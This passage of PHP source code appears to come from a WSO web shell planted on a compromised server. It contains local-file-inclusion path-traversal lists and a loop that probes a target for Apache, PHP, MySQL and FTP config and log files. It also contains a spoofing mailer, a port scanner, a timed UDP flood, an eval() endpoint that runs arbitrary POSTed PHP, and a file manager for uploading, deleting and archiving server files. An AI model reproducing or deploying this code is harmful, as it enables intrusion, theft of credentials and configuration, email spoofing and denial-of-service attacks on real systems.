590 26 => "../../../../../../../../../../../../../../../Volumes/webBackup/opt/apache2/conf/httpd.conf".$byte1."",
591 27 => "../../../../../../../../../../../../../../../Volumes/webBackup/private/etc/httpd/httpd.conf".$byte1."",
592 28 => "../../../../../../../../../../../../../../../Volumes/webBackup/private/etc/httpd/httpd.conf.default".$byte1."",
593 29 => "../../../../../../../../../../../../../../../usr/local/php/httpd.conf.php".$byte1."",
594 30 => "../../../../../../../../../../../../../../../usr/local/php4/httpd.conf.php".$byte1."",
595 31 => "../../../../../../../../../../../../../../../usr/local/php5/httpd.conf.php".$byte1."",
596 32 => "../../../../../../../../../../../../../../../usr/local/php/httpd.conf".$byte1."",
597 33 => "../../../../../../../../../../../../../../../usr/local/php4/httpd.conf".$byte1."",
598 34 => "../../../../../../../../../../../../../../../usr/local/php5/httpd.conf".$byte1."",
599 35 => "../../../../../../../../../../../../../../../usr/local/etc/apache/vhosts.conf".$byte1."");
600
601 $lfiphpini = array(
602 1 => "../../../../../../../../../../../../../../../etc/php.ini".$byte1."",
603 2 => "../../../../../../../../../../../../../../../bin/php.ini".$byte1."",
604 3 => "../../../../../../../../../../../../../../../etc/httpd/php.ini".$byte1."",
605 4 => "../../../../../../../../../../../../../../../usr/lib/php.ini".$byte1."",
606 5 => "../../../../../../../../../../../../../../../usr/lib/php/php.ini".$byte1."",
607 6 => "../../../../../../../../../../../../../../../usr/local/etc/php.ini".$byte1."",
608 7 => "../../../../../../../../../../../../../../../usr/local/lib/php.ini".$byte1."",
609 8 => "../../../../../../../../../../../../../../../usr/local/php/lib/php.ini".$byte1."",
610 9 => "../../../../../../../../../../../../../../../usr/local/php4/lib/php.ini".$byte1."",
611 10 => "../../../../../../../../../../../../../../../usr/local/php5/lib/php.ini".$byte1."",
612 11 => "../../../../../../../../../../../../../../../usr/local/apache/conf/php.ini".$byte1."",
613 12 => "../../../../../../../../../../../../../../../etc/php4.4/fcgi/php.ini".$byte1."",
614 13 => "../../../../../../../../../../../../../../../etc/php4/apache/php.ini".$byte1."",
615 14 => "../../../../../../../../../../../../../../../etc/php4/apache2/php.ini".$byte1."",
616 15 => "../../../../../../../../../../../../../../../etc/php5/apache/php.ini".$byte1."",
617 16 => "../../../../../../../../../../../../../../../etc/php5/apache2/php.ini".$byte1."",
618 17 => "../../../../../../../../../../../../../../../etc/php/php.ini".$byte1."",
619 18 => "../../../../../../../../../../../../../../../etc/php/php4/php.ini".$byte1."",
620 19 => "../../../../../../../../../../../../../../../etc/php/apache/php.ini".$byte1."",
621 20 => "../../../../../../../../../../../../../../../etc/php/apache2/php.ini".$byte1."",
622 21 => "../../../../../../../../../../../../../../../web/conf/php.ini".$byte1."",
623 22 => "../../../../../../../../../../../../../../../usr/local/Zend/etc/php.ini".$byte1."",
624 23 => "../../../../../../../../../../../../../../../opt/xampp/etc/php.ini".$byte1."",
625 24 => "../../../../../../../../../../../../../../../var/local/www/conf/php.ini".$byte1."",
626 25 => "../../../../../../../../../../../../../../../etc/php/cgi/php.ini".$byte1."",
627 26 => "../../../../../../../../../../../../../../../etc/php4/cgi/php.ini".$byte1."",
628 27 => "../../../../../../../../../../../../../../../etc/php5/cgi/php.ini".$byte1."");
629
630 $lfimysql = array(
631 1 => "../../../../../../../../../../../../../../../var/log/mysql/mysql-bin.log".$byte1."",
632 2 => "../../../../../../../../../../../../../../../var/log/mysql.log".$byte1."",
633 3 => "../../../../../../../../../../../../../../../var/log/mysqlderror.log".$byte1."",
634 4 => "../../../../../../../../../../../../../../../var/log/mysql/mysql.log".$byte1."",
635 5 => "../../../../../../../../../../../../../../../var/log/mysql/mysql-slow.log".$byte1."",
636 6 => "../../../../../../../../../../../../../../../var/mysql.log".$byte1."",
637 7 => "../../../../../../../../../../../../../../../var/lib/mysql/my.cnf".$byte1."",
638 8 => "../../../../../../../../../../../../../../../etc/mysql/my.cnf".$byte1."",
639 9 => "../../../../../../../../../../../../../../../var/log/mysqld.log".$byte1."",
640 10 => "../../../../../../../../../../../../../../../etc/my.cnf".$byte1."");
641
642 $lfiftp = array(
643 1 => "../../../../../../../../../../../../../../../etc/logrotate.d/proftpd".$byte1."",
644 2 => "../../../../../../../../../../../../../../../www/logs/proftpd.system.log".$byte1."",
645 3 => "../../../../../../../../../../../../../../../var/log/proftpd".$byte1."",
646 4 => "../../../../../../../../../../../../../../../etc/proftp.conf".$byte1."",
647 5 => "../../../../../../../../../../../../../../../etc/protpd/proftpd.conf".$byte1."",
648 6 => "../../../../../../../../../../../../../../../etc/vhcs2/proftpd/proftpd.conf".$byte1."",
649 7 => "../../../../../../../../../../../../../../../etc/proftpd/modules.conf".$byte1."",
650 8 => "../../../../../../../../../../../../../../../var/log/vsftpd.log".$byte1."",
651 9 => "../../../../../../../../../../../../../../../etc/vsftpd.chroot_list".$byte1."",
652 10 => "../../../../../../../../../../../../../../../etc/logrotate.d/vsftpd.log".$byte1."",
653 11 => "../../../../../../../../../../../../../../../etc/vsftpd/vsftpd.conf".$byte1."",
654 12 => "../../../../../../../../../../../../../../../etc/vsftpd.conf".$byte1."",
655 13 => "../../../../../../../../../../../../../../../etc/chrootUsers".$byte1."",
656 14 => "../../../../../../../../../../../../../../../var/log/xferlog".$byte1."",
657 15 => "../../../../../../../../../../../../../../../var/adm/log/xferlog".$byte1."",
658 16 => "../../../../../../../../../../../../../../../etc/wu-ftpd/ftpaccess".$byte1."",
659 17 => "../../../../../../../../../../../../../../../etc/wu-ftpd/ftphosts".$byte1."",
660 18 => "../../../../../../../../../../../../../../../etc/wu-ftpd/ftpusers".$byte1."",
661 19 => "../../../../../../../../../../../../../../../usr/sbin/pure-config.pl".$byte1."",
662 20 => "../../../../../../../../../../../../../../../usr/etc/pure-ftpd.conf".$byte1."",
663 21 => "../../../../../../../../../../../../../../../etc/pure-ftpd/pure-ftpd.conf".$byte1."",
664 22 => "../../../../../../../../../../../../../../../usr/local/etc/pure-ftpd.conf".$byte1."",
665 23 => "../../../../../../../../../../../../../../../usr/local/etc/pureftpd.pdb".$byte1."",
666 24 => "../../../../../../../../../../../../../../../usr/local/pureftpd/etc/pureftpd.pdb".$byte1."",
667 25 => "../../../../../../../../../../../../../../../usr/local/pureftpd/sbin/pure-config.pl".$byte1."",
668 26 => "../../../../../../../../../../../../../../../usr/local/pureftpd/etc/pure-ftpd.conf".$byte1."",
669 27 => "../../../../../../../../../../../../../../../etc/pure-ftpd.conf".$byte1."",
670 28 => "../../../../../../../../../../../../../../../etc/pure-ftpd/pure-ftpd.pdb".$byte1."",
671 29 => "../../../../../../../../../../../../../../../etc/pureftpd.pdb".$byte1."",
672 30 => "../../../../../../../../../../../../../../../etc/pureftpd.passwd".$byte1."",
673 31 => "../../../../../../../../../../../../../../../etc/pure-ftpd/pureftpd.pdb".$byte1."",
674 32 => "../../../../../../../../../../../../../../../usr/ports/ftp/pure-ftpd/".$byte1."",
675 33 => "../../../../../../../../../../../../../../../usr/ports/net/pure-ftpd/".$byte1."",
676 34 => "../../../../../../../../../../../../../../../usr/pkgsrc/net/pureftpd/".$byte1."",
677 35 => "../../../../../../../../../../../../../../../usr/ports/contrib/pure-ftpd/".$byte1."",
678 36 => "../../../../../../../../../../../../../../../var/log/pure-ftpd/pure-ftpd.log".$byte1."",
679 37 => "../../../../../../../../../../../../../../../logs/pure-ftpd.log".$byte1."",
680 38 => "../../../../../../../../../../../../../../../var/log/pureftpd.log".$byte1."",
681 39 => "../../../../../../../../../../../../../../../var/log/ftp-proxy/ftp-proxy.log".$byte1."",
682 40 => "../../../../../../../../../../../../../../../var/log/ftp-proxy".$byte1."",
683 41 => "../../../../../../../../../../../../../../../var/log/ftplog".$byte1."",
684 42 => "../../../../../../../../../../../../../../../etc/logrotate.d/ftp".$byte1."",
685 43 => "../../../../../../../../../../../../../../../etc/ftpchroot".$byte1."",
686 44 => "../../../../../../../../../../../../../../../etc/ftphosts".$byte1."");
687
688
689 $x = 1;
690 if ( $type == 1 ) {
691 $res1 = FetchURL($target.$lfitest);
692 $res2 = FetchURL($target.$lfitest2);
693 $rhash1 = md5($res1);
694 $rhash2 = md5($res2);
695 if ($rhash1 != $rhash2) {
696 print "<font color='green'>[+] Exploitable!</font> <a href=\"".$target."".$lfitest."\">".$target."".$lfitest."</a><br />";
697 while($lfiaccess[$x]) {
698 $res3 = FetchURL($target.$lfiaccess[$x]);
699 $rhash3 = md5($res3);
700 if ($rhash3 != $rhash2) {
701 print "<font color='green'>[+] File detected!</font> <a href=\"".$target."".$lfiaccess[$x]."\">".$target."".$lfiaccess[$x]."</a><br />";
702 }
703 else {
704 print "<font color='red'>[!] Failed!</font>".$target."".$lfiaccess[$x]."<br />";
705 }
706 $x++;
707 }
708 }
709 }
710 if ( $type == 2 ) {
711 $res1 = FetchURL($target.$lfitest);
712 $res2 = FetchURL($target.$lfitest2);
713 $rhash1 = md5($res1);
714 $rhash2 = md5($res2);
715 if ($rhash1 != $rhash2) {
716 print "<font color='green'>[+] Exploitable!</font> <a href=\"".$target."".$lfitest."\">".$target."".$lfitest."</a><br />";
717 while($lficonfig[$x]) {
718 $res3 = FetchURL($target.$lficonfig[$x]);
719 $rhash3 = md5($res3);
720 if ($rhash3 != $rhash2) {
721 print "<font color='green'>[+] File detected!</font> <a href=\"".$target."".$lficonfig[$x]."\">".$target."".$lficonfig[$x]."</a><br />";
722 }
723 else {
724 print "<font color='red'>[!] Failed!</font>".$target."".$lficonfig[$x]."<br />";
725 }
726 $x++;
727 }
728 }
729 }
730 if ( $type == 3 ) {
731 $res1 = FetchURL($target.$lfitest);
732 $res2 = FetchURL($target.$lfitest2);
733 $rhash1 = md5($res1);
734 $rhash2 = md5($res2);
735 if ($rhash1 != $rhash2) {
736 print "<font color='green'>[+] Exploitable!</font> <a href=\"".$target."".$lfitest."\">".$target."".$lfitest."</a><br />";
737 while($lfierror[$x]) {
738 $res3 = FetchURL($target.$lfierror[$x]);
739 $rhash3 = md5($res3);
740 if ($rhash3 != $rhash2) {
741 print "<font color='green'>[+] File detected!</font> <a href=\"".$target."".$lfierror[$x]."\">".$target."".$lfierror[$x]."</a><br />";
742 }
743 else {
744 print "<font color='red'>[!] Failed!</font>".$target."".$lfierror[$x]."<br />";
745 }
746 $x++;
747 }
748 }
749 }
750 if ( $type == 4 ) {
751 $res1 = FetchURL($target.$lfitest);
752 $res2 = FetchURL($target.$lfitest2);
753 $rhash1 = md5($res1);
754 $rhash2 = md5($res2);
755 if ($rhash1 != $rhash2) {
756 print "<font color='green'>[+] Exploitable!</font> <a href=\"".$target."".$lfitest."\">".$target."".$lfitest."</a><br />";
757 while($lfiphpini[$x]) {
758 $res3 = FetchURL($target.$lfiphpini[$x]);
759 $rhash3 = md5($res3);
760 if ($rhash3 != $rhash2) {
761 print "<font color='green'>[+] File detected!</font> <a href=\"".$target."".$lfiphpini[$x]."\">".$target."".$lfiphpini[$x]."</a><br />";
762 }
763 else {
764 print "<font color='red'>[!] Failed!</font>".$target."".$lfiphpini[$x]."<br />";
765 }
766 $x++;
767 }
768 }
769 }
770 if ( $type == 5 ) {
771 $res1 = FetchURL($target.$lfitest);
772 $res2 = FetchURL($target.$lfitest2);
773 $rhash1 = md5($res1);
774 $rhash2 = md5($res2);
775 if ($rhash1 != $rhash2) {
776 print "<font color='green'>[+] Exploitable!</font> <a href=\"".$target."".$lfitest."\">".$target."".$lfitest."</a><br />";
777 while($lfimysql[$x]) {
778 $res3 = FetchURL($target.$lfimysql[$x]);
779 $rhash3 = md5($res3);
780 if ($rhash3 != $rhash2) {
781 print "<font color='green'>[+] File detected!</font> <a href=\"".$target."".$lfimysql[$x]."\">".$target."".$lfimysql[$x]."</a><br />";
782 }
783 else {
784 print "<font color='red'>[!] Failed!</font>".$target."".$lfimysql[$x]."<br />";
785 }
786 $x++;
787 }
788 }
789 }
790 if ( $type == 6 ) {
791 $res1 = FetchURL($target.$lfitest);
792 $res2 = FetchURL($target.$lfitest2);
793 $rhash1 = md5($res1);
794 $rhash2 = md5($res2);
795 if ($rhash1 != $rhash2) {
796 print "<font color='green'>[+] Exploitable!</font> <a href=\"".$target."".$lfitest."\">".$target."".$lfitest."</a><br />";
797 while($lfiftp[$x]) {
798 $res3 = FetchURL($target.$lfiftp[$x]);
799 $rhash3 = md5($res3);
800 if ($rhash3 != $rhash2) {
801 print "<font color='green'>[+] File detected!</font> <a href=\"".$target."".$lfiftp[$x]."\">".$target."".$lfiftp[$x]."</a><br />";
802 }
803 else {
804 print "<font color='red'>[!] Failed!</font>".$target."".$lfiftp[$x]."<br />";
805 }
806 $x++;
807 }
808 }
809 }
810if ( $type == 7 ) {
811 $res1 = FetchURL($target.$lfitest);
812 $res2 = FetchURL($target.$lfitest2);
813 $rhash1 = md5($res1);
814 $rhash2 = md5($res2);
815 if ($rhash1 != $rhash2) {
816 print "<font color='green'>[+] Exploitable!</font> <a href=\"".$target."".$lfitest."\">".$target."".$lfitest."</a><br />";{
817 $res3 = FetchURL($target.$lfiprocenv);
818 $rhash3 = md5($res3);
819 if ($rhash3 != $rhash2) {
820 print "<font color='green'>[+] File detected!</font> <a href=\"".$target."".$lfiprocenv."\">".$target."".$lfiprocenv."</a><br />";
821 }
822 else {
823 print "<font color='red'>[!] Failed!</font>".$target."".$lfiprocenv."<br />";
824 }
825 }
826 }
827 }
828 }
829wsoFooter();
830}
831function actionphptools() {
832wsoHeader();
833?><center><?php
834//mailer
835echo '<b>Mailer</b><br>
836<form action="'.$surl.'" method=POST>
837<input type="hidden" name="a" value="phptools">
838<input type=text name=to value=to><br>
839<input type=text name=from value=from><br>
840<input type=text name=subject value=subject><br>
841<input type=text name=body value=body><br>
842<input type=submit name=submit value=Submit></form>';
843if (isset($_POST['to']) && isset($_POST['from']) && isset($_POST['subject']) && isset($_POST['body'])) {
844 $headers = 'From: '.$_POST['from'];
845 mail ($_POST['to'],$_POST['subject'],$_POST['body'],$headers);
846 echo 'Email sent.';
847}
848
849//port scanner
850echo '<br><b>Port Scanner</b><br>';
851$start = strip_tags($_POST['start']);
852$end = strip_tags($_POST['end']);
853$host = strip_tags($_POST['host']);
854
855if(isset($_POST['host']) && is_numeric($_POST['end']) && is_numeric($_POST['start'])){
856for($i = $start; $i<=$end; $i++){
857 $fp = @fsockopen($host, $i, $errno, $errstr, 3);
858 if($fp){
859 echo 'Port '.$i.' is <font color=green>open</font><br>';
860 }
861 flush();
862 }
863}else{
864?>
865<form action="?" method="POST">
866<input type="hidden" name="a" value="phptools">
867Host:<br />
868<input type="text" name="host" value="localhost"/><br />
869Port start:<br />
870<input type="text" name="start" value="0"/><br />
871Port end:<br />
872<input type="text" name="end" value="5000"/><br />
873<input type="submit" value="Scan Ports" />
874</form>
875<?php
876}
877
878//UDP
879if(isset($_POST['host'])&&is_numeric($_POST['time'])){
880 $pakits = 0;
881 ignore_user_abort(TRUE);
882 set_time_limit(0);
883
884 $exec_time = $_POST['time'];
885
886 $time = time();
887 //print "Started: ".time('h:i:s')."<br>";
888 $max_time = $time+$exec_time;
889
890 $host = $_POST['host'];
891
892 for($i=0;$i<65000;$i++){
893 $out .= 'X';
894 }
895 while(1){
896 $pakits++;
897 if(time() > $max_time){
898 break;
899 }
900 $rand = rand(1,65000);
901 $fp = fsockopen('udp://'.$host, $rand, $errno, $errstr, 5);
902 if($fp){
903 fwrite($fp, $out);
904 fclose($fp);
905 }
906 }
907 echo "<br><b>UDP Flood</b><br>Completed with $pakits (" . round(($pakits*65)/1024, 2) . " MB) packets averaging ". round($pakits/$exec_time, 2) . " packets per second \n";
908 echo '<br><br>
909 <form action="'.$surl.'" method=POST>
910 <input type="hidden" name="a" value="phptools">
911 Host: <input type=text name=host value=localhost>
912 Length (seconds): <input type=text name=time value=9999>
913 <input type=submit value=Go></form>';
914}else{ echo '<br><b>UDP Flood</b><br>
915 <form action=? method=POST>
916 <input type="hidden" name="a" value="phptools">
917 Host: <br><input type=text name=host value=localhost><br>
918 Length (seconds): <br><input type=text name=time value=9999><br>
919 <input type=submit value=Go></form>';
920}
921?></center><?php
922wsoFooter();}
923function actionPhp() {
924 if(isset($_POST['ajax'])) {
925 $_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] = true;
926 ob_start();
927 eval($_POST['p1']);
928 $temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()), "\n\r\t\\'\0") . "';\n";
929 echo strlen($temp), "\n", $temp;
930 exit;
931 }
932 wsoHeader();
933 if(isset($_POST['p2']) && ($_POST['p2'] == 'info')) {
934 echo '<h1>PHP info</h1><div class=content><style>.p {color:#000;}</style>';
935 ob_start();
936 phpinfo();
937 $tmp = ob_get_clean();
938 $tmp = preg_replace('!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU','',$tmp);
939 $tmp = preg_replace('!td, th {(.*)}!msiU','.e, .v, .h, .h th {$1}',$tmp);
940 echo str_replace('<h1','<h2', $tmp) .'</div><br>';
941 }
942 if(empty($_POST['ajax']) && !empty($_POST['p1']))
943 $_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] = false;
944 echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(\'Php\',null,this.code.value);}else{g(\'Php\',null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>'.(!empty($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'</textarea><input type=submit value=Eval style="margin-top:5px">';
945 echo ' <input type=checkbox name=ajax value=1 '.($_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX</form><pre id=PhpOutput style="'.(empty($_POST['p1'])?'display:none;':'').'margin-top:5px;" class=ml1>';
946 if(!empty($_POST['p1'])) {
947 ob_start();
948 eval($_POST['p1']);
949 echo htmlspecialchars(ob_get_clean());
950 }
951 echo '</pre></div>';
952 wsoFooter();
953}
954
955function actionFilesMan() {
956 wsoHeader();
957 echo '<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>';
958 if(!empty($_POST['p1'])) {
959 switch($_POST['p1']) {
960 case 'uploadFile':
961 if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name']))
962 echo "Can't upload file!";
963 break;
964 case 'mkdir':
965 if(!@mkdir($_POST['p2']))
966 echo "Can't create new dir";
967 break;
968 case 'delete':
969 function deleteDir($path) {
970 $path = (substr($path,-1)=='/') ? $path:$path.'/';
971 $dh = opendir($path);
972 while ( ($item = readdir($dh) ) !== false) {
973 $item = $path.$item;
974 if ( (basename($item) == "..") || (basename($item) == ".") )
975 continue;
976 $type = filetype($item);
977 if ($type == "dir")
978 deleteDir($item);
979 else
980 @unlink($item);
981 }
982 closedir($dh);
983 @rmdir($path);
984 }
985 if(is_array(@$_POST['f']))
986 foreach($_POST['f'] as $f) {
987 if($f == '..')
988 continue;
989 $f = urldecode($f);
990 if(is_dir($f))
991 deleteDir($f);
992 else
993 @unlink($f);
994 }
995 break;
996 case 'paste':
997 if($_SESSION['act'] == 'copy') {
998 function copy_paste($c,$s,$d){
999 if(is_dir($c.$s)){
1000 mkdir($d.$s);
1001 $h = @opendir($c.$s);
1002 while (($f = @readdir($h)) !== false)
1003 if (($f != ".") and ($f != ".."))
1004 copy_paste($c.$s.'/',$f, $d.$s.'/');
1005 } elseif(is_file($c.$s))
1006 @copy($c.$s, $d.$s);
1007 }
1008 foreach($_SESSION['f'] as $f)
1009 copy_paste($_SESSION['c'],$f, $GLOBALS['cwd']);
1010 } elseif($_SESSION['act'] == 'move') {
1011 function move_paste($c,$s,$d){
1012 if(is_dir($c.$s)){
1013 mkdir($d.$s);
1014 $h = @opendir($c.$s);
1015 while (($f = @readdir($h)) !== false)
1016 if (($f != ".") and ($f != ".."))
1017 copy_paste($c.$s.'/',$f, $d.$s.'/');
1018 } elseif(@is_file($c.$s))
1019 @copy($c.$s, $d.$s);
1020 }
1021 foreach($_SESSION['f'] as $f)
1022 @rename($_SESSION['c'].$f, $GLOBALS['cwd'].$f);
1023 } elseif($_SESSION['act'] == 'zip') {
1024 if(class_exists('ZipArchive')) {
1025 $zip = new ZipArchive();
1026 if ($zip->open($_POST['p2'], 1)) {
1027 chdir($_SESSION['c']);
1028 foreach($_SESSION['f'] as $f) {
1029 if($f == '..')
1030 continue;
1031 if(@is_file($_SESSION['c'].$f))
1032 $zip->addFile($_SESSION['c'].$f, $f);
1033 elseif(@is_dir($_SESSION['c'].$f)) {
1034 $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.'/'));
1035 foreach ($iterator as $key=>$value) {
1036 $zip->addFile(realpath($key), $key);
1037 }
1038 }
1039 }
1040 chdir($GLOBALS['cwd']);
1041 $zip->close();
1042 }
1043 }
1044 } elseif($_SESSION['act'] == 'unzip') {
1045 if(class_exists('ZipArchive')) {
1046 $zip = new ZipArchive();
1047 foreach($_SESSION['f'] as $f) {
1048 if($zip->open($_SESSION['c'].$f)) {
1049 $zip->extractTo($GLOBALS['cwd']);
1050 $zip->close();
1051 }
1052 }
1053 }
1054 } elseif($_SESSION['act'] == 'tar') {
1055 chdir($_SESSION['c']);
1056 $_SESSION['f'] = array_map('escapeshellarg', $_SESSION['f']);
1057 wsoEx('tar cfzv ' . escapeshellarg($_POST['p2']) . ' ' . implode(' ', $_SESSION['f']));
1058 chdir($GLOBALS['cwd']);
1059 }
1060 unset($_SESSION['f']);
1061 break;
1062 default:
1063 if(!empty($_POST['p1'])) {
1064 $_SESSION['act'] = @$_POST['p1'];
1065 $_SESSION['f'] = @$_POST['f'];
1066 foreach($_SESSION['f'] as $k => $f)
1067 $_SESSION['f'][$k] = urldecode($f);
1068 $_SESSION['c'] = @$_POST['c'];
1069 }
1070 break;
1071 }
1072 }
1073 $dirContent = @scandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
1074 if($dirContent === false) { echo 'Can\'t open this folder!';wsoFooter(); return; }
1075 global $sort;
1076 $sort = array('name', 1);
1077 if(!empty($_POST['p1'])) {
1078 if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match))
1079 $sort = array($match[1], (int)$match[2]);
1080 }
1081echo "<script>
1082 function sa() {
1083 for(i=0;i<d.files.elements.length;i++)
1084 if(d.files.elements[i].type == 'checkbox')
1085 d.files.elements[i].checked = d.files.elements[0].checked;
1086 }
1087
1088</script>
1089<table width='100%' class='main' cellspacing='0' cellpadding='2'>
1090<form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_".($sort[1]?0:1)."\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_".($sort[1]?0:1)."\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_".($sort[1]?0:1)."\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_".($sort[1]?0:1)."\")'>Permissions</a></th><th>Actions</th></tr>";
1091 $dirs = $files = array();
1092 $n = count($dirContent);
1093 for($i=0;$i<$n;$i++) {
1094 $ow = @posix_getpwuid(@fileowner($dirContent[$i]));
1095 $gr = @posix_getgrgid(@filegroup($dirContent[$i]));
1096 $tmp = array('name' => $dirContent[$i],
1097 'path' => $GLOBALS['cwd'].$dirContent[$i],
1098 'modify' => date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $dirContent[$i])),
1099 'perms' => wsoPermsColor($GLOBALS['cwd'] . $dirContent[$i]),
1100 'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]),
1101 'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]),
1102 'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i])
1103 );
1104 if(@is_file($GLOBALS['cwd'] . $dirContent[$i]))
1105 $files[] = array_merge($tmp, array('type' => 'file'));
1106 elseif(@is_link($GLOBALS['cwd'] . $dirContent[$i]))
1107 $dirs[] = array_merge($tmp, array('type' => 'link', 'link' => readlink($tmp['path'])));
1108 elseif(@is_dir($GLOBALS['cwd'] . $dirContent[$i])&& ($dirContent[$i] != "."))
1109 $dirs[] = array_merge($tmp, array('type' => 'dir'));
1110 }
1111 $GLOBALS['sort'] = $sort;
1112 function wsoCmp($a, $b) {
1113 if($GLOBALS['sort'][0] != 'size')
1114 return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]]))*($GLOBALS['sort'][1]?1:-1);
1115 else
1116 return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1);
1117 }
1118 usort($files, "wsoCmp");
1119 usort($dirs, "wsoCmp");
1120 $files = array_merge($dirs, $files);
1121 $l = 0;
1122 foreach($files as $f) {
1123 echo '<tr'.($l?' class=l1':'').'><td><input type=checkbox name="f[]" value="'.urlencode($f['name']).'" class=chkbx></td><td><a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'view\')">'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');" title=' . $f['link'] . '><b>[ ' . htmlspecialchars($f['name']) . ' ]</b>').'</a></td><td>'.(($f['type']=='file')?wsoViewSize($f['size']):$f['type']).'</td><td>'.$f['modify'].'</td><td>'.$f['owner'].'/'.$f['group'].'</td><td><a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms']
1124 .'</td><td><a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'touch\')">T</a>'.(($f['type']=='file')?' <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')">D</a>':'').'</td></tr>';
1125 $l = $l?0:1;
1126 }
1127 echo "<tr><td colspan=7>
1128
1129 <input type=hidden name=a value='FilesMan'>
1130 <input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'>
1131 <input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'')."'>
1132 <select name='p1'><option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option>";
1133 if(class_exists('ZipArchive'))
1134 echo "<option value='zip'>Compress (zip)</option><option value='unzip'>Uncompress (zip)</option>";
1135 echo "<option value='tar'>Compress (tar.gz)</option>";
1136 if(!empty($_SESSION['act']) && @count($_SESSION['f']))
1137 echo "<option value='paste'>Paste / Compress</option>";
1138 echo "</select> ";
1139 if(!empty($_SESSION['act']) && @count($_SESSION['f']) && (($_SESSION['act'] == 'zip') || ($_SESSION['act'] == 'tar')))
1140 echo "file name: <input type=text name=p2 value='wso_" . date("Ymd_His") . "." . ($_SESSION['act'] == 'zip'?'zip':'tar.gz') . "'> ";
1141 echo "<input type='submit' value='>>'></td></tr></form></table></div>";
1142 wsoFooter();
1143}
1144
1145function actionStringTools() {
1146 if(!function_exists('hex2bin')) {function hex2bin($p) {return decbin(hexdec($p));}}
1147 if(!function_exists('binhex')) {function binhex($p) {return dechex(bindec($p));}}
1148 if(!function_exists('hex2ascii')) {function hex2ascii($p){$r='';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}}
1149 if(!function_exists('ascii2hex')) {function ascii2hex($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= sprintf('%02X',ord($p[$i]));return strtoupper($r);}}
1150 if(!function_exists('full_urlencode')) {function full_urlencode($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= '%'.dechex(ord($p[$i]));return strtoupper($r);}}
1151 $stringTools = array(
1152 'Base64 encode' => 'base64_encode',
1153 'Base64 decode' => 'base64_decode',
1154 'Url encode' => 'urlencode',
1155 'Url decode' => 'urldecode',
1156 'Full urlencode' => 'full_urlencode',
1157 'md5 hash' => 'md5',
1158 'sha1 hash' => 'sha1',
1159 'crypt' => 'crypt',
1160 'CRC32' => 'crc32',
1161 'ASCII to HEX' => 'ascii2hex',
1162 'HEX to ASCII' => 'hex2ascii',
1163 'HEX to DEC' => 'hexdec',
1164 'HEX to BIN' => 'hex2bin',
1165 'DEC to HEX' => 'dechex',
1166 'DEC to BIN' => 'decbin',
1167 'BIN to HEX' => 'binhex',
1168 'BIN to DEC' => 'bindec',
1169 'String to lower case' => 'strtolower',
1170 'String to upper case' => 'strtoupper',
1171 'Htmlspecialchars' => 'htmlspecialchars',
1172 'String length' => 'strlen',
1173 );
1174 if(isset($_POST['ajax'])) {
1175 $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
1176 ob_start();
1177 if(in_array($_POST['p1'], $stringTools))
1178 echo $_POST['p1']($_POST['p2']);
1179 $temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'\0")."';\n";
1180 echo strlen($temp), "\n", $temp;
1181 exit;
1182 }
1183 wsoHeader();
1184 echo '<h1>String conversions</h1><div class=content>';
1185 if(empty($_POST['ajax'])&&!empty($_POST['p1']))
1186 $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
1187 echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><select name='selectTool'>";
1188 foreach($stringTools as $k => $v)
1189 echo "<option value='".htmlspecialchars($v)."'>".$k."</option>";
